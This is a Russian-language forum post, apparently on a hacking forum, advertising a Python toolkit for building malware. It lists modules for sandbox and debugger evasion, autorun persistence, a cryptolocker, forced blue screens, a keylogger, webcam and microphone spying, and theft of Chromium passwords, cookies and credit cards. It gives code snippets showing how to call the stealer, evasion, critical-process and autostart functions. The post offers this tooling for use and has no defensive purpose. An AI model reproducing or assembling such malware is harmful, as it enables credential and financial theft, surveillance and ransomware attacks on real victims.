S
Shukumei
Привет, решил я тут сделать одну интересную хрень на питоне.
Вообщем я сделал пак самых нужных модулей для создания малвари на питоне. (На питоне лучше вирусы вообще не писать)
Думаю вам может пригодиться.
Вот ссылка на репозиторий: https://github.com/LimerBoy/CrazyPy
Есть небольшая защита процесса,
при его закрытии появиться BSoD
Пример с проверкой на VirtualBox, Sandbox:
Пример с автозагрузкой (3 метода):
И ещё очень много всего.
Вообщем я сделал пак самых нужных модулей для создания малвари на питоне. (На питоне лучше вирусы вообще не писать)
Думаю вам может пригодиться.
Вот ссылка на репозиторий: https://github.com/LimerBoy/CrazyPy
- AntiAnalysis (VirtualBox, SandBox, Debugger, Emulator)
- Autorun (schtasks, registry, startup dir)
- Fun (Cdrom, Keyboard, Mouse, Wallpaper, Windows control)
- Harmful (Cryptolocker, BlockInput, Bsod, Monitor)
- Network (Whois, NetDiscover)
- Persistence (CriticalProcess, Hide file, Infect archives, Change date, Run as admin)
- Spying (Desktop screenshot, Webcam screenshot, Microphone, Keylogger, Clipboard, ActiveWindow)
- Stealer (Grabber, Wifi, Filezilla, Chromium passwords, history, bookmarks, credit cards, cookies)
Python:
import Stealer.Chromium.Passwords
import Stealer.Chromium.Bookmarks
import Stealer.Chromium.Cookies
import Stealer.Chromium.CreditCards
import Stealer.Chromium.History
passwords = Stealer.Chromium.Passwords.Get()
bookmarks = Stealer.Chromium.Bookmarks.Get()
cookies = Stealer.Chromium.Cookies.Get()
creditcards = Stealer.Chromium.CreditCards.Get()
history = Stealer.Chromium.History.Get()
Есть небольшая защита процесса,
при его закрытии появиться BSoD
Python:
import Persistence.CriticalProcess
# Set current process is critical
# When this process is completed, a blue screen of death will appear.
# Admin rights is required
Persistence.CriticalProcess.Set()
# Set current process is not critical
Persistence.CriticalProcess.Unset()
Пример с проверкой на VirtualBox, Sandbox:
Python:
import AntiAnalysis
Antianalysis.VirtualBox.Check() # True / False
Antianalysis.SandBox.Check() # True / False
Antianalysis.Debugger.Check() # True / False
Antianalysis.Emulator.Check() # True / False
Пример с автозагрузкой (3 метода):
Python:
import Autorun.shell
import Autorun.registry
import Autorun.schtasks
# Startup dir method
if not Autorun.shell.Exists("name"):
Autorun.shell.Install("name", "file")
# Registry edit method
if not Autorun.registry.Exists("name"):
Autorun.registry.Install("name", "file")
# Schtasks method (Requires administrator privileges)
if not Autorun.schtasks.Exists("name"):
Autorun.schtasks.Install("name", "file")
# Uninstall all
Autorun.shell.Uninstall("name")
Autorun.registry.Uninstall("name")
Autorun.schtasks.Uninstall("name")
И ещё очень много всего.
Вложения
Последнее редактирование модератором: